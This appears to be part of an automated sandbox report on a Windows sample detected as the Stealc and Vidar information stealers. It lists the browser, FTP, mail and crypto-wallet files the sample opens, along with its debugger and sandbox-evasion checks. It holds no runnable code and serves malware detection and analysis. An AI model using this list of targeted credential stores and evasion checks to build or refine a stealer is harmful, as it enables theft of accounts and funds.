Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ACBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00AD38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00ACED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00AD4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ACDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AC1160 GetSystemInfo,ExitProcess,

0_2_00AC1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HIDBFCBG.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000002.1791718439.00000000017B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: HIDBFCBG.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: HIDBFCBG.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000003.1639206567.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: HIDBFCBG.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: HIDBFCBG.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: HIDBFCBG.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1639206567.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HIDBFCBG.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware_>B
Source: HIDBFCBG.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: HIDBFCBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: HIDBFCBG.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: HIDBFCBG.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: HIDBFCBG.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: HIDBFCBG.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: HIDBFCBG.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HIDBFCBG.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: HIDBFCBG.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: HIDBFCBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: HIDBFCBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: HIDBFCBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: HIDBFCBG.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: HIDBFCBG.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58333
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59521
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58330
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58345
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58350
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58385

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC15FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CC15FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AC45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00AC45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00AD9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD9750 mov eax, dword ptr fs:[00000030h]

0_2_00AD9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00AD78E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CBEB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CBEB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00AD9600

Source: file.exe, file.exe, 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: `E~Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBEB341 cpuid

0_2_6CBEB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00AD7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00AD7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00AD7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00AD7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1550119203.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonC
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1550119203.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

